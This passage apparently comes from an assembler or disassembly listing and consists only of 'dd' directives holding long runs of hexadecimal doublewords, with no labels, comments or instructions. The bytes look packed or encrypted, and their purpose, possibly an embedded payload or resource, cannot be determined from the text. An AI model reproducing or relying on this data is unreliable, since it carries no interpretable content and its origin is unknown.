864630Fh dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h dd 3C20614h, 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h dd 62F5AB7Dh, 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h dd 7E1960Bh, 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh dd 0E06FE80Bh, 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh dd 2B27C880h, 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h, 94900853h dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh dd 1C781532h, 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h dd 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h dd 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h dd 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h, 5B2F0769h dd 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h, 6E2F8190h dd 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah, 52F080A7h dd 0C6F87Bh, 0D1940584h dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h dd 52510F00h, 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h dd 21DFDAEh, 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh dd 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h dd 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h, 505553B4h dd 22579856h, 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h dd 0BC8BABF3h, 3E00E92Fh dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h dd 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h dd 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh dd 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh dd 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h dd 6F936400h, 6D37803h, 20050055h, 2608A11Bh, 44006209h dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h dd 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h dd 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h dd 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh dd 0AC21DE00h, 79E3184h dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h dd 3D0F0B76h, 